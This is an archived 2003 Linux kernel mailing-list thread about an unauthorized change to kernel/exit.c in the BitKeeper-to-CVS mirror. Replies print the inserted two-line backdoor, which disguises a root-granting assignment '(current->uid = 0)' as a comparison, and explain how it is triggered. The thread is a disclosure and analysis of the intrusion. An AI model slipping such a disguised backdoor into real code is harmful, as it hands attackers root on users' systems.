Skip to contentSkip to conversation

BK2CVS problem

DISCUSSION Larry McVoy 10 participants 11 messages Nov 5, 2003 – Nov 6, 2003

lore
Share & tools
lore
#0 lore raw

Somebody has modified the CVS tree on kernel.bkbits.net directly. Dave looked at the machine and it looked like someone may have been trying to break in and do it.

We've fixed the file in question, the conversion is done back here at BitMover and after we transfer the files we check them and make sure they are OK and this file got flagged.

The CVS tree is fine, you might want to remove and update exit.c to make sure you have the current version in your tree however.

The problem file is kernel/exit.c which has a few extra entries like so:

    revision 1.121
    date: 2003/11/04 16:44:19;  author: davem;  state: Exp;  lines: +58 -0
    Oops, I worked on the  the wrong file, fixed again.
    ----------------------------
    revision 1.120
    date: 2003/11/04 16:42:00;  author: davem;  state: Exp;  lines: +0 -58
    *** empty log message ***
    ----------------------------
    revision 1.119
    date: 2003/11/04 16:22:47;  author: davem;  state: Exp;  lines: +2 -0
    *** empty log message ***
    ----------------------------
    revision 1.118
    date: 2003/10/27 19:50:03;  author: torvalds;  state: Exp;  lines: +11 -5
    Fix ZOMBIE race with self-reaping threads.

    exit_notify() used to leave a window open when a thread
    died that made the thread visible as a ZOMBIE even though
    the thread reaped itself. This closes that window by marking
    the thread DEAD within the tasklist_lock.

    (Logical change 1.14141)
    ----------------------------

Notice how the top 3 do not have the (Logical change X.YZ) at the end? That is a pointer so you can figure out the changeset boundaries and it is added back here during the conversion process. The file here is fine which leads me to believe that someone modified the file either on kernel.bkbits.net or managed to get in through the pserver. Dave swears up and down that it wasn't him so if anyone can step forward and claim responsibility that would be nice.

It's not a big deal, we catch stuff like this, but it's annoying to the CVS users.

Signature · 2 lines
---
Larry McVoy              lm at bitmover.com          http://www.bitmover.com/lm
#1 lore raw

Out of curiosity, what were the changed lines?

Matt

Quoted 55 lines · Larry McVoy

Somebody has modified the CVS tree on kernel.bkbits.net directly. Dave looked at the machine and it looked like someone may have been trying to break in and do it.

We've fixed the file in question, the conversion is done back here at BitMover and after we transfer the files we check them and make sure they are OK and this file got flagged.

The CVS tree is fine, you might want to remove and update exit.c to make sure you have the current version in your tree however.

The problem file is kernel/exit.c which has a few extra entries like so:

    revision 1.121
    date: 2003/11/04 16:44:19;  author: davem;  state: Exp;  lines: +58 -0
    Oops, I worked on the  the wrong file, fixed again.
    ----------------------------
    revision 1.120
    date: 2003/11/04 16:42:00;  author: davem;  state: Exp;  lines: +0 -58
    *** empty log message ***
    ----------------------------
    revision 1.119
    date: 2003/11/04 16:22:47;  author: davem;  state: Exp;  lines: +2 -0
    *** empty log message ***
    ----------------------------
    revision 1.118
    date: 2003/10/27 19:50:03;  author: torvalds;  state: Exp;  lines: +11 -5
    Fix ZOMBIE race with self-reaping threads.

    exit_notify() used to leave a window open when a thread
    died that made the thread visible as a ZOMBIE even though
    the thread reaped itself. This closes that window by marking
    the thread DEAD within the tasklist_lock.

    (Logical change 1.14141)
    ----------------------------

Notice how the top 3 do not have the (Logical change X.YZ) at the end? That is a pointer so you can figure out the changeset boundaries and it is added back here during the conversion process. The file here is fine which leads me to believe that someone modified the file either on kernel.bkbits.net or managed to get in through the pserver. Dave swears up and down that it wasn't him so if anyone can step forward and claim responsibility that would be nice.

It's not a big deal, we catch stuff like this, but it's annoying to the CVS users.

Signature · 7 lines
---
Larry McVoy              lm at bitmover.com          http://www.bitmover.com/lm
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [email protected]
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/
Signature · 6 lines
Matthew Dharm                              Home: [email protected] 
Maintainer, Linux USB Mass Storage Driver

Oh great modem, why hast thou forsaken me?
					-- Dust Puppy
User Friendly, 3/2/1998
#2 lore raw
Quoted 1 line · Matthew Dharm

Out of curiosity, what were the changed lines?

BAD 2003-11-05 13:46:53.000000000 -0800 renamed from GOOD 2003-11-05 13:46:44.000000000 -0800 +2 -0
@@ -1111,6 +1111,8 @@
                schedule();
                goto repeat;
        }
+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;
        retval = -ECHILD;
 end_wait4:
        current->state = TASK_RUNNING;
Signature · 2 lines
---
Larry McVoy              lm at bitmover.com          http://www.bitmover.com/lm
#3 lore raw

BAD 2003-11-05 13:46:53.000000000 -0800 line 1115

Quoted 11 lines · Larry McVoy
Quoted 1 line · Matthew Dharm

Out of curiosity, what were the changed lines?

BAD 2003-11-05 13:46:53.000000000 -0800 renamed from GOOD 2003-11-05 13:46:44.000000000 -0800 +2 -0
@@ -1111,6 +1111,8 @@
                schedule();
                goto repeat;
        }
+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

That looks odd

#4 lore raw
Quoted 5 lines · Zwane Mwaikambo
Quoted 3 lines · Larry McVoy
Quoted 1 line · Matthew Dharm

Out of curiosity, what were the changed lines?

Quoted 10 lines

BAD 2003-11-05 13:46:53.000000000 -0800 line 1115

Quoted 8 lines
BAD 2003-11-05 13:46:53.000000000 -0800 renamed from GOOD 2003-11-05 13:46:44.000000000 -0800 +2 -0
@@ -1111,6 +1111,8 @@
                schedule();
                goto repeat;
        }
+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

That looks odd

Not if you hope to get root.

#5 lore raw
Quoted 17 lines · Andries Brouwer
Quoted 5 lines · Zwane Mwaikambo
Quoted 3 lines · Larry McVoy
Quoted 1 line · Matthew Dharm

Out of curiosity, what were the changed lines?

Quoted 10 lines

BAD 2003-11-05 13:46:53.000000000 -0800 line 1115

Quoted 8 lines
BAD 2003-11-05 13:46:53.000000000 -0800 renamed from GOOD 2003-11-05 13:46:44.000000000 -0800 +2 -0
@@ -1111,6 +1111,8 @@
                schedule();
                goto repeat;
        }
+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

That looks odd

Quoted 1 line

Not if you hope to get root.

You got it. Short-circuiting will make the second half of the conditional execute only when the first half is true. So if options equals __WCLONE|__WALL exactly, then the user is changed to root.

I believe the two flags would normally be mutually exclusive (why would you wait on everything as well as waiting on only non-SIGCHLD?) so having to set the strange process flags makes it look like a local exploit.

I wonder why someone who thought they had access to the tree wouldn't have tried to make something that worked remotely?

#6 lore raw
Quoted 5 lines
Quoted 4 lines
Quoted 2 lines

That looks odd

Not if you hope to get root.

Somebody getting access to and inserting exploits directly into the linux source is not something we should take lightly. Whilst we understand the limits of the problem, the fact that it happened at all could get /.'d out of all proportion and be used to seriously undermine linux's reputation

#7 lore raw
Quoted 4 lines · Andrew Walrond

Somebody getting access to and inserting exploits directly into the linux source is not something we should take lightly. Whilst we understand the limits of the problem, the fact that it happened at all could get /.'d out of all proportion and be used to seriously undermine linux's reputation

Already happened. Check slashdot.

#8 lore raw
In reply to Andrew Walrond
Quoted 10 lines · Andrew Walrond
Quoted 5 lines
Quoted 4 lines
Quoted 2 lines

That looks odd

Not if you hope to get root.

Somebody getting access to and inserting exploits directly into the linux source is not something we should take lightly. Whilst we understand the limits of the problem, the fact that it happened at all could get /.'d out of all proportion and be used to seriously undermine linux's reputation

Eh .. way too late :)

http://slashdot.org/article.pl?sid=03/11/06/058249&mode=thread&tid=106&tid=185&threshold=4

#9 lore raw
In reply to Andrew Walrond
Quoted 1 line · Andrew Walrond

Somebody getting access to and inserting exploits directly into the linux source is not something we should take lightly. Whilst we understand the limits of the problem, the fact that it happened at all could get /.'d out of all proportion and be used to seriously undermine linux's reputation

Well, it's hit /. and OSNews already this morning.

Mainstream media is now aware of Linux; for better or worse, someday, an issue like this is going to leak beyond Slashdot onto the pages of the Wall Street Journal and ZDNet. Maybe not this time -- but eventually.

Open development is the ultimate in honesty -- and honesty leaves us vulnerable to being bitten by the ignorati and anti-freedom forces.

Signature · 3 lines
Scott Robert Ladd
Coyote Gulch Productions (http://www.coyotegulch.com)
Software Invention for High-Performance Computing
#10 lore raw
Quoted 12 lines · Scott Robert Ladd
Quoted 4 lines · Andrew Walrond

Somebody getting access to and inserting exploits directly into the linux source is not something we should take lightly. Whilst we understand the limits of the problem, the fact that it happened at all could get /.'d out of all proportion and be used to seriously undermine linux's reputation

Well, it's hit /. and OSNews already this morning.

Mainstream media is now aware of Linux; for better or worse, someday, an issue like this is going to leak beyond Slashdot onto the pages of the Wall Street Journal and ZDNet. Maybe not this time -- but eventually.

Quoted 7 lines

Open development is the ultimate in honesty -- and honesty leaves us vulnerable to being bitten by the ignorati and anti-freedom forces.

--
Scott Robert Ladd
Coyote Gulch Productions (http://www.coyotegulch.com)
Software Invention for High-Performance Computing

This may not really be the problem. It is well known that anybody who has the capabilities of inserting a module into the most secure kernel in the universe, could have designed the module to give the current caller root privs when some module function is executed.

$ whoami
cracker
$ od /dev/TROJAN
$ whoami
root
$

The kernel sources can be inspected using automation, looking for accesses to 'current'. The expected patterns can be ignored. Accesses to current->XXX,current->YYY,current->YYY, etc., could be reviewed. However, this doesn't stop the clever programmer who creates a pointer that, using a difficult-to-follow path, has access to these structure members.

So, basically, any open-source kernel is vulnerable. Also any closed-source kernel is also vulnerable. We already know that M$ had hundreds of bugs, perhaps more, that allowed a hacker complete unrestricted access to a machine on the network. We also know that there are deliberate back-doors inserted to allow governments to inspect the contents of these computers (search on magic lantern and carnivor).

Cheers,
Dick Johnson
Penguin : Linux version 2.4.22 on an i686 machine (797.90 BogoMips).
Note 96.31% of all statistics are fiction.